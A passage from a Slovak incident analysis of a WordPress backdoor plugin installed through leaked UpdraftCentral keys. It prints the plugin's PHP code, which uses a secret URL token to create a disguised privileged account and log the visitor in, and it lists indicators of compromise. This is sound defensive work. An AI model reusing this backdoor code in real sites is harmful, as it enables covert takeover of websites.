https:\/\/teamupdraft.com<\/code><\/pre>\n<p>\u00dato\u010dn\u00edk posielal <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">WordPress\/6.4; class-udrpc.php<\/code>, bez verzie kni\u017enice a bez URL, zo svojho servera. K\u013e\u00fa\u010de teda unikli z prostredia UpdraftCentral Cloud a \u00fato\u010dn\u00edk ich pou\u017eil mimo neho.<\/p>\n<p>TeamUpdraft 19. okt\u00f3bra potvrdil, \u017ee cez v\u00edkend 17. a 18. okt\u00f3bra mal \u00fato\u010dn\u00edk pr\u00edstup na teamupdraft.com a pravdepodobne aj k z\u00e1kazn\u00edckej datab\u00e1ze vr\u00e1tane k\u013e\u00fa\u010dov UpdraftCentral. K\u013e\u00fa\u010de teda unikli z infra\u0161trukt\u00fary v\u00fdrobcu. Zodpoved\u00e1 tomu aj \u010dasov\u00e1 os: k\u013e\u00fa\u010de pre weby B a C existovali od novembra 2025 a \u00fato\u010dn\u00edk ich nepou\u017eil a\u017e do noci z 18. na 19. okt\u00f3bra, teda hne\u010f po \u00faniku. Ako sa \u00fato\u010dn\u00edk na teamupdraft.com dostal, v\u00fdrobca neuviedol.<\/p>\n<p>Na webe C \u00fatok zlyhal pre n\u00e1hodu. K\u013e\u00fa\u010d tam v novembri 2025 vytvoril pou\u017e\u00edvate\u013e, ktor\u00fd u\u017e nie je administr\u00e1tor. UpdraftCentral pred in\u0161tal\u00e1ciou overuje, \u010di m\u00e1 vlastn\u00edk k\u013e\u00fa\u010da pr\u00e1va <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">activate_plugins<\/code>. Nemal ani jedno.<\/p>\n<h2 id=\"pre\u010do-ide-o-kritick\u00fd-probl\u00e9m-updraftcentral\">Pre\u010do ide o kritick\u00fd probl\u00e9m UpdraftCentral<\/h2>\n<p>Klient UpdraftCentral je s\u00fa\u010das\u0165ou ka\u017edej k\u00f3pie UpdraftPlus, bezplatnej aj pr\u00e9miovej. Zapne sa, ke\u010f majite\u013e pripoj\u00ed web k dashboardu. Odvtedy web vykon\u00e1 ka\u017ed\u00fd pr\u00edkaz podp\u00edsan\u00fd k\u013e\u00fa\u010dom dashboardu s pr\u00e1vami administr\u00e1tora, ktor\u00fd spojenie vytvoril, vr\u00e1tane nahratia a aktiv\u00e1cie \u013eubovo\u013en\u00e9ho pluginu. Majite\u013e webu pr\u00edkaz nepotvrdzuje a v na\u0161om pr\u00edpade n\u00e1s o \u0148om ni\u010d neupozornilo. K\u013e\u00fa\u010de na strane webu nemaj\u00fa dobu platnosti: tie z novembra 2025 fungovali aj v okt\u00f3bri 2026 a in\u00fd spr\u00e1vca hl\u00e1si zneu\u017eit\u00e9 k\u013e\u00fa\u010de z febru\u00e1ra a marca 2022. Vek k\u013e\u00fa\u010da teda pred zneu\u017eit\u00edm nechr\u00e1ni. Zneu\u017eit\u00fd bol aj k\u013e\u00fa\u010d webu A vytvoren\u00fd 10. 10. 2026. In\u00fd spr\u00e1vca si v\u0161imol, \u017ee testovaciu k\u00f3piu webu s rovnak\u00fdm k\u013e\u00fa\u010dom, ale inou adresou \u00fato\u010dn\u00edk nechal na pokoji. \u00dato\u010dn\u00edk teda zrejme postupoval pod\u013ea zoznamu webov, ktor\u00fd m\u00e1 len UpdraftCentral.<\/p>\n<p>Bezpe\u010dnos\u0165 v\u0161etk\u00fdch pripojen\u00fdch webov tak stoj\u00ed na jedinom predpoklade, \u017ee s\u00fakromn\u00e9 k\u013e\u00fa\u010de dashboardu neunikn\u00fa. Unikli, a \u00fato\u010dn\u00edk z jedn\u00e9ho miesta za p\u00e1r hod\u00edn ovl\u00e1dol dva weby a pok\u00fasil sa o tret\u00ed. UpdraftPlus m\u00e1 viac ako 4 mili\u00f3ny akt\u00edvnych in\u0161tal\u00e1ci\u00ed. Po\u010dtom in\u0161tal\u00e1ci\u00ed ho medzi pluginmi so z\u00e1lohovan\u00edm na wordpress.org predbieha iba All-in-One WP Migration (5+ mili\u00f3nov), ktor\u00fd sl\u00fa\u017ei hlavne na migr\u00e1ciu webov. UpdraftCentral pou\u017e\u00edva len \u010das\u0165 pou\u017e\u00edvate\u013eov UpdraftPlus, aj mal\u00fd podiel zo 4 mili\u00f3nov v\u0161ak znamen\u00e1 ve\u013ea webov.<\/p>\n<p>Ten ist\u00fd kan\u00e1l u\u017e raz zlyhal. V j\u00fani 2026 v\u00fdrobca opravil zranite\u013enos\u0165 CVE-2026-10795 (CVSS 8.1), cez ktor\u00fa mohol \u00fato\u010dn\u00edk bez prihl\u00e1senia podvrhn\u00fa\u0165 pr\u00edkazy UpdraftCentral a nain\u0161talova\u0165 a aktivova\u0165 \u0161kodliv\u00fd plugin. Pokusy o jej zneu\u017eitie zachyt\u00e1vame v na\u0161ich logoch dodnes.<\/p>\n<h2 id=\"\u010do-presne-backdoor-rob\u00ed\">\u010co presne backdoor rob\u00ed<\/h2>\n<p>Plugin m\u00e1 p\u00e4\u0165 s\u00faborov, ale logiku obsahuje iba hlavn\u00fd. Tu je jeho podstatn\u00e1 \u010das\u0165 zo vzorky z webu A. Token a heslo sme skr\u00e1tili:<\/p>\n<pre style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:13.5px !important;line-height:1.55;background:#0d1117;color:#e6edf3;border:1px solid #30363d;border-radius:8px;padding:14px 16px;margin:1em 0 1.6em;overflow-x:auto;white-space:pre;tab-size:4\"><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:inherit !important;background:none;padding:0;color:inherit\">define( &#39;LOADSTACK35C_TOKEN&#39;, &#39;j0j8nxxH\u2026&#39; );      \/\/ 32 znakov\ndefine( &#39;LOADSTACK35C_FIELD&#39;, &#39;_9f5696&#39; );\ndefine( &#39;LOADSTACK35C_SVC_LOGIN&#39;, &#39;data-ops43&#39; );\ndefine( &#39;LOADSTACK35C_SVC_PASS&#39;, &#39;L7sfkZMw\u2026&#39; );    \/\/ 22 znakov\n\nfinal class LoadStack35c {\n\tprivate function __construct() {\n\t\tadd_action( &#39;init&#39;, array( $this, &#39;handle_sync&#39; ), 1 );\n\t}\n\n\tpublic function handle_sync() {\n\t\tif ( isset( $_GET[ self::FIELD ] ) &amp;&amp; hash_equals( self::TOKEN, (string) $_GET[ self::FIELD ] ) ) {\n\t\t\t$user = get_user_by( &#39;login&#39;, self::SVC_LOGIN );\n\t\t\tif ( ! $user ) {\n\t\t\t\t$uid = wp_insert_user( array(\n\t\t\t\t\t&#39;user_login&#39;   =&gt; self::SVC_LOGIN,\n\t\t\t\t\t&#39;user_pass&#39;    =&gt; self::SVC_PASS,\n\t\t\t\t\t&#39;user_email&#39;   =&gt; self::SVC_LOGIN . &#39;@example.org&#39;,\n\t\t\t\t\t&#39;display_name&#39; =&gt; &#39;Site Tools&#39;,\n\t\t\t\t\t&#39;role&#39;         =&gt; &#39;editor&#39;,\n\t\t\t\t) );\n\t\t\t\tif ( is_wp_error( $uid ) ) return;\n\t\t\t\t$u = new WP_User( $uid );\n\t\t\t\t$u-&gt;add_cap( &#39;manage_options&#39; );\n\t\t\t\t$u-&gt;add_cap( &#39;install_plugins&#39; );\n\t\t\t\t$user = get_user_by( &#39;id&#39;, $uid );\n\t\t\t}\n\t\t\twp_set_current_user( $user-&gt;ID, $user-&gt;user_login );\n\t\t\twp_set_auth_cookie( $user-&gt;ID, true, is_ssl() );\n\t\t\twp_safe_redirect( admin_url( &#39;index.php&#39; ) );\n\t\t\texit;\n\t\t}\n\t}\n}\n\nregister_activation_hook( __FILE__, function () {\n\tif ( ! get_option( &#39;load_stack_35c_sync_token&#39; ) ) {\n\t\tupdate_option( &#39;load_stack_35c_sync_token&#39;, &#39;j0j8nxxH\u2026&#39;, false );\n\t}\n} );\n\nLoadStack35c::instance();<\/code><\/pre>\n<p>Takto by fungoval, keby v \u0148om nebola chyba:<\/p>\n<ol type=\"1\">\n<li>Pri ka\u017edej po\u017eiadavke na web sa zaves\u00ed na akciu <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code> s prioritou 1, teda sk\u00f4r ne\u017e v\u00e4\u010d\u0161ina ostatn\u00fdch pluginov.<\/li>\n<li>Pozrie sa, \u010di adresa obsahuje parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">?_9f5696=<\/code>, a jeho hodnotu porovn\u00e1 s 32-znakov\u00fdm tokenom. Porovn\u00e1va funkciou <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hash_equals<\/code>, ktor\u00e1 trv\u00e1 rovnako dlho bez oh\u013eadu na zhodu, tak\u017ee token sa ned\u00e1 uh\u00e1dnu\u0165 meran\u00edm \u010dasu odpovede. Bez spr\u00e1vneho tokenu sa nestane ni\u010d a web sa spr\u00e1va norm\u00e1lne.<\/li>\n<li>So spr\u00e1vnym tokenom vytvor\u00ed pou\u017e\u00edvate\u013ea <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code> s heslom zap\u00edsan\u00fdm v plugine, e-mailom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43@example.org<\/code> a zobrazovan\u00fdm menom \u201eSite Tools\u201c.<\/li>\n<li>D\u00e1 mu rolu Editor a k tomu dve samostatn\u00e9 opr\u00e1vnenia: <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code>.<\/li>\n<li>Prihl\u00e1si n\u00e1v\u0161tevn\u00edka ako tohto pou\u017e\u00edvate\u013ea cez <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_set_auth_cookie<\/code> s vo\u013ebou \u201ezapam\u00e4ta\u0165 si ma\u201c, teda cookie platnou 14 dn\u00ed. Prihlasovac\u00ed formul\u00e1r t\u00fdm \u00faplne ob\u00edde, tak\u017ee na\u0148 nep\u00f4sob\u00ed dvojfaktorov\u00e9 overenie, obmedzenie po\u010dtu pokusov ani ochrana prihl\u00e1senia vo Wordfence.<\/li>\n<li>Presmeruje ho do administr\u00e1cie.<\/li>\n<\/ol>\n<p>Rola Editor s dvoma opr\u00e1vneniami navy\u0161e je z\u00e1mer. V zozname pou\u017e\u00edvate\u013eov sa \u00fa\u010det ukazuje ako Editor, nie Administr\u00e1tor, tak\u017ee pri be\u017enej kontrole adminov ho prehliadnete. Prakticky m\u00e1 v\u0161ak pln\u00fa moc nad webom:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">install_plugins<\/code> dovol\u00ed nahra\u0165 \u013eubovo\u013en\u00fd plugin. Jeho PHP s\u00fabory sa daj\u00fa spusti\u0165 priamo cez URL aj bez aktiv\u00e1cie, \u010do znamen\u00e1 spustenie \u013eubovo\u013en\u00e9ho k\u00f3du na serveri.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">manage_options<\/code> spr\u00edstupn\u00ed v\u0161etky nastavenia. Sta\u010d\u00ed zapn\u00fa\u0165 registr\u00e1ciu a predvolen\u00fa rolu nastavi\u0165 na administr\u00e1tora, a \u00fato\u010dn\u00edk si vytvor\u00ed plnohodnotn\u00e9ho admina.<\/li>\n<li>Editor m\u00e1 na be\u017enom WordPresse aj <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">unfiltered_html<\/code>, tak\u017ee m\u00f4\u017ee do \u010dl\u00e1nkov vlo\u017ei\u0165 JavaScript, ktor\u00fd sa spust\u00ed v prehliada\u010di ka\u017ed\u00e9ho administr\u00e1tora.<\/li>\n<\/ul>\n<p>Backdoor m\u00e1 aj druh\u00fa vrstvu. Vytvoren\u00fd \u00fa\u010det so zn\u00e1mym heslom ostane vo WordPresse aj po odstr\u00e1nen\u00ed pluginu a \u00fato\u010dn\u00edk sa n\u00edm vie prihl\u00e1si\u0165 cez be\u017en\u00fd formul\u00e1r, ak tento \u00fa\u010det nem\u00e1 zapnut\u00e9 dvojfaktorov\u00e9 overenie.<\/p>\n<h3 id=\"chyba-ktor\u00e1-n\u00e1s-zachr\u00e1nila\">Chyba, ktor\u00e1 n\u00e1s zachr\u00e1nila<\/h3>\n<p>Kon\u0161tanty s\u00fa definovan\u00e9 funkciou <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">define()<\/code> ako glob\u00e1lne (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">LOADSTACK35C_FIELD<\/code>), ale k\u00f3d ich \u010d\u00edta ako kon\u0161tanty triedy (<code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code>). Trieda \u017eiadne kon\u0161tanty nem\u00e1. PHP 8 preto pri prvom vyhodnoten\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">self::FIELD<\/code> vyhod\u00ed <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Error: Undefined constant LoadStack35c::FIELD<\/code>. Stane sa to e\u0161te pred kontrolou tokenu, teda pri ka\u017edej po\u017eiadavke: pri be\u017enej n\u00e1v\u0161teve, v administr\u00e1cii, pri prihl\u00e1sen\u00ed, v REST API, pri crone aj vo WP-CLI. Web pad\u00e1 s chybou 500 a obsluhuje len str\u00e1nky ulo\u017een\u00e9 v cache.<\/p>\n<p>Po\u017eiadavka s in\u0161tal\u00e1ciou pritom dobehla \u00faspe\u0161ne. UpdraftCentral sprac\u00fava pr\u00edkazy a\u017e v akcii <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">wp_loaded<\/code>, ktor\u00e1 prich\u00e1dza po <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">init<\/code>, tak\u017ee v tej po\u017eiadavke sa chybn\u00fd k\u00f3d nespustil. \u00dato\u010dn\u00edk dostal potvrdenie o \u00faspechu a o chybe sa z odpovede nedozvedel. Spadli a\u017e nasleduj\u00face po\u017eiadavky.<\/p>\n<p>\u00dato\u010dn\u00edkovi v\u0161ak sta\u010d\u00ed opravi\u0165 p\u00e1r znakov a \u010fal\u0161ia vlna m\u00f4\u017ee fungova\u0165. <strong>Ak u seba n\u00e1jdete podobn\u00fd \u201epokazen\u00fd\u201c plugin, neopravujte ho.<\/strong> Oprava by backdoor zapla. Odstr\u00e1\u0148te ho.<\/p>\n<h3 id=\"\u010fal\u0161ie-detaily\">\u010eal\u0161ie detaily<\/h3>\n<ul>\n<li>Plugin sa tv\u00e1ri ako be\u017en\u00fd doplnok: m\u00e1 \u00fapln\u00fa hlavi\u010dku, licenciu GPL, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">Text Domain<\/code>, popis \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c a vymyslen\u00e9 vydavate\u013estvo (\u201ePixelBinder\u201c, \u201eHarbor Stack Labs\u201c).<\/li>\n<li>S\u00fabory <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.css<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">assets\/public.js<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">languages\/readme.txt<\/code> obsahuj\u00fa iba koment\u00e1r. Plugin ich nikde nepou\u017e\u00edva, s\u00fa tam, aby prie\u010dinok vyzeral ako skuto\u010dn\u00fd plugin.<\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> pri odin\u0161talovan\u00ed z administr\u00e1cie zma\u017ee vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> a <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_setup_stamp<\/code>, teda stopy po sebe. Druh\u00fa vo\u013ebu k\u00f3d nikde nevytv\u00e1ra, je to pozostatok \u0161abl\u00f3ny.<\/li>\n<li>Pri aktiv\u00e1cii ulo\u017e\u00ed token do vo\u013eby <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">&lt;slug&gt;_sync_token<\/code> bez automatick\u00e9ho na\u010d\u00edtania. K\u00f3d ju nikde ne\u010d\u00edta.<\/li>\n<li>Obe vzorky vyrobil ten ist\u00fd gener\u00e1tor. Ke\u010f v nich nahrad\u00edme n\u00e1zvy, tokeny, men\u00e1 a verzie z\u00e1stupn\u00fdmi re\u0165azcami, s\u00fa v\u0161etky s\u00fabory bajt po bajte zhodn\u00e9. N\u00e1zov m\u00e1 tvar <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo-3 hex znaky<\/code>, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_<\/code> a 6 hex znakov, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">slovo-slovo<\/code> a dve \u010d\u00edslice. Token m\u00e1 32 znakov a heslo 22 znakov (p\u00edsmen\u00e1, \u010d\u00edslice, pod\u010diarkovn\u00edk).<\/li>\n<\/ul>\n<h2 id=\"indik\u00e1tory-kompromit\u00e1cie\">Indik\u00e1tory kompromit\u00e1cie<\/h2>\n<table>\n<thead>\n<tr class=\"header\">\n<th><\/th>\n<th>Web A<\/th>\n<th>Web B<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr class=\"odd\">\n<td>Prie\u010dinok pluginu<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load-stack-35c<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text-gantry-eb0<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>N\u00e1zov \/ autor \/ verzia<\/td>\n<td>Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n<td>Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Parameter v URL<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_9f5696<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_3e9caa<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>Pou\u017e\u00edvate\u013e<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data-ops43<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">media-staff96<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>Vo\u013eba v datab\u00e1ze<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">load_stack_35c_sync_token<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">text_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n<tr class=\"even\">\n<td>SHA-256 hlavn\u00e9ho s\u00faboru<\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">bb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n<tr class=\"odd\">\n<td>SHA-256 <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n<td><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u010eal\u0161ie vzorky prv\u00e9ho variantu n\u00e1m poslali in\u00e9 obete a \u010fal\u0161ie n\u00e1zvy uv\u00e1dza Patchstack:<\/p>\n<ul>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">hero-frame-2c5<\/code>, autor \u201eCopperForge WP\u201c, pou\u017e\u00edvate\u013e s e-mailom <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render-build21@example.org<\/code>, SHA-256 hlavn\u00e9ho s\u00faboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">uninstall.php<\/code> <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">card-binder-104<\/code>, verzia 2.6.7, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">render.desk87<\/code><\/li>\n<li><code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">style-bridge-8f5<\/code>, \u201eStyle Bridge 8F5\u201c 2.6.6, autor \u201eStoneDock Tools\u201c, parameter <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">_0f907e<\/code>, pou\u017e\u00edvate\u013e <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em .35em;border-radius:4px;word-break:break-word\">data.build20<\/code>, SHA-256 hlavn\u00e9ho s\u00faboru <code style=\"font-family:ui-monospace,SFMono-Regular,Menlo,Consolas,'DejaVu Sans Mono',monospace !important;font-size:.9em !important;background:rgba(255,255,255,.08);padding:.1em 